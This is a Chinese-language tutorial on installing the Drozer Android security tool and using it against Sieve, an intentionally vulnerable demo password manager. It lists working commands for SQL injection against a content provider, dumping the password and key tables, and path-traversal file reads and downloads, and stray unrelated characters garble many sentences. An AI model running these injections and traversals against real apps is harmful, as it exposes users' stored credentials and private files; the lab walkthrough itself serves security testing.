Drozer 官網(wǎng)地址https://labs.mwrinfosecurity.com/
Drozer是幫助我們檢測Android設(shè)備中App應(yīng)用的漏洞的安全工具。
一向图、安裝
默認我們都有Android開發(fā)環(huán)境依賴的 JDK AndroidSDK 和 Python2.7(Mac 默認自帶) 并且環(huán)境變量都已經(jīng)配置粉楚,這里主要介紹一下Mac上的安裝過程斟湃,具體其他系統(tǒng)安裝過程可以參考官網(wǎng)文檔册倒。
要安裝drozer乓搬,首先要確保您的電腦安裝了Python 2.7西雀。然后萨驶,安裝drozer的依賴項
1.1安裝openssl
Drozer需要特殊版本的openssl,我們需要下載 pyOpenSSL v0.13艇肴,然后用sed指令修復typo腔呜,具體指令:
1.1.1 $ wget https://pypi.python.org/packages/source/p/pyOpenSSL/pyOpenSSL-0.13.tar.gz
1.1.2 $ tar xzvf pyOpenSSL-0.13.tar.gz
1.1.3 $ cd pyOpenSSL-0.13
1.1.4 $ sed -i '' 's/X509_REVOKED_dup/X509_REVOKED_dupe/' OpenSSL/crypto/crl.c
1.1.5 $ python setup.py build_ext -L/usr/local/opt/openssl/lib -I/usr/local/opt/openssl/include
1.1.6 $ python setup.py build
1.1.7 $ python setup.py install
1.2安裝protobuf
$ easy_install --allow-hosts pypi.python.orgprotobuf
我們從https://github.com/protocolbuffers/protobuf/releases?after=v2.4.1rc1下載protobuf2.4.1版本執(zhí)行以下安裝命令
1、tar zxvf protobuf-2.4.1.tar.gz
2再悼、cd protobuf-2.4.1
3核畴、./configure
4、make(如果出現(xiàn)以下error
3 errors generated.
make[2] : *** [message.lo] Error 1
make[2] : *** [all -recursive] Error 1
make : *** [all] Error2
解決方案:
4.1\. 打開protobuf-2.4.1/src/google/protobuf/message.cc文件
4.2\. 添加 #include <istream>后關(guān)閉文件冲九,重新執(zhí)行:make 即可)
5谤草、make check
6跟束、make install
執(zhí)行命令:protoc —version 如果出現(xiàn)libprotoc 2.4.1則說明安裝成功
1.3 安裝twisted 可以忽略警告和報錯,執(zhí)行一下命令即可
$ easy_install twisted==10.2.0
1.4 安裝drozer
$ sudo easy_install ./drozer-2.3.4-py2.7.egg
此外我們可以直接下載drozer(Python.whl)版本丑孩,執(zhí)行下面命令急性安裝
$ sudo pip install drozer-xxx.whl --ignore-installed pyOpenSSL
安裝drozer成功后可以輸入drozer驗證出現(xiàn)一下表示安裝成功
二冀宴、使用
2.1、在真機安裝drozer官網(wǎng)提供的agent.apk和sieve.apk
2.2温学、在電腦端開啟轉(zhuǎn)發(fā)
$ adb forward tcp:31415 tcp:31415
2.3略贮、手機端啟動Embedded Server
2.4、在電腦端啟動drozer console 輸入一下命令
$ drozer console connect
2.5 Drozer命令
2.5.1 獲取獲取Android設(shè)備上的所有的安裝的App的包名,如果想具體查找某個App可加上-f [App關(guān)鍵字]的參數(shù)仗岖,如查找sieve在Android設(shè)備中的包名(sieve.apk在drozer官網(wǎng)上,一個'密碼管理器'應(yīng)用程序逃延,展示了一些常見的Android漏洞)
> run app.package.list -f sieve
2.5.2 獲取Sieve的一些基本信息
> run app.package.info -a com.mwr.example.sieve
2.5.3 確定攻擊面
> run app.package.attacksurface com.mwr.example.sieve
結(jié)果顯示了潛在可以利用的組件個數(shù): “exported”表示組件可以被其他App使用。 services is debuggable表示我們可以用adb綁定一個調(diào)試器到進程轧拄。
2.5.4進一步獲取攻擊面的信息
> run app.activity.info -a com.mwr.example.sieve
2.5.5啟動Activities揽祥,這里啟動是sieve包里的PWList
> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
2.5.6從Content Provider中獲取信息
> run [app.provider.info](http://app.provider.info/)-a com.mwr.example.sieve
2.5.6.1 查找可以訪問Content Provider的URI(數(shù)據(jù)泄漏)
>run scanner.provider.finduris -a com.mwr.example.sieve
上圖中檢測出了可以訪問content的URI,接下來我們可以用drozer的其他模塊和URI從content中獲取檩电,甚至更改信息拄丰。
> run app.provider.query
2.5.7執(zhí)行SQL注入,Android操作系統(tǒng)建議使用SQLite數(shù)據(jù)庫存儲用戶數(shù)據(jù)是嗜。SQLite數(shù)據(jù)庫使用SQL語句愈案,所以可以進行SQL注入挺尾。 使用projection參數(shù)和seleciton參數(shù)可以傳遞一些簡單的SQL注入語句到Content provider鹅搪。如:
> run app.provider.query [content://com.mwr.example.sieve.DBContentProvider/Passwords/](content://com.mwr.example.sieve.DBContentProvider/Passwords/)--projection “'"
> run app.provider.query [content://com.mwr.example.sieve.DBContentProvider/Passwords/](content://com.mwr.example.sieve.DBContentProvider/Passwords/)--selection “'"
上面兩條命令執(zhí)行后Android設(shè)備返回了非常詳細的錯誤信息。使用Sql注入列出數(shù)據(jù)庫中的所有數(shù)據(jù)表:
> run app.provider.query [content://com.mwr.example.sieve.DBContentProvider/Passwords/](content://com.mwr.example.sieve.DBContentProvider/Passwords/)--projection "* FROM SQLITE_MASTER WHERE type='table';--"
使用SQL注入列出數(shù)據(jù)表的內(nèi)容:
>run app.provider.query [content://com.mwr.example.sieve.DBContentProvider/Passwords/](content://com.mwr.example.sieve.DBContentProvider/Passwords/)
--projection "* FROM Key;—“
2.5.8 從File System-Backed Content Providers獲取信息遭铺,F(xiàn)ile System-backed Content Provider提供了訪問底層文件系統(tǒng)的方法丽柿,Android沙盒會阻止App共享文件允許,而File System-backed Content Provider允許App共享文件魂挂。
>run app.provider.read [content://com.mwr.example.sieve.FileBackupProvider/etc/hosts](content://com.mwr.example.sieve.FileBackupProvider/etc/hosts)
可以使用app.provider.download下載文件
>run app.provider.download [content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db](content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db)/Users/wangzhen/Desktop/databse.db
2.5.9 檢查Content Provider的脆弱性
2.5.9.1檢查是否有SQL注入:
>run scanner.provider.injection -a com.mwr.example.sieve
2.5.9.2檢查是否存在遍歷文件的漏洞
>run scanner.provider.traversal -a com.mwr.example.sieve
2.5.10 和Services交互
2.5.10.1 獲取是exported狀態(tài)的services的命令
> run app.service.info -a com.mwr.example.sieve
2.5.10.2 向服務(wù)發(fā)送消息
> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 1 5 3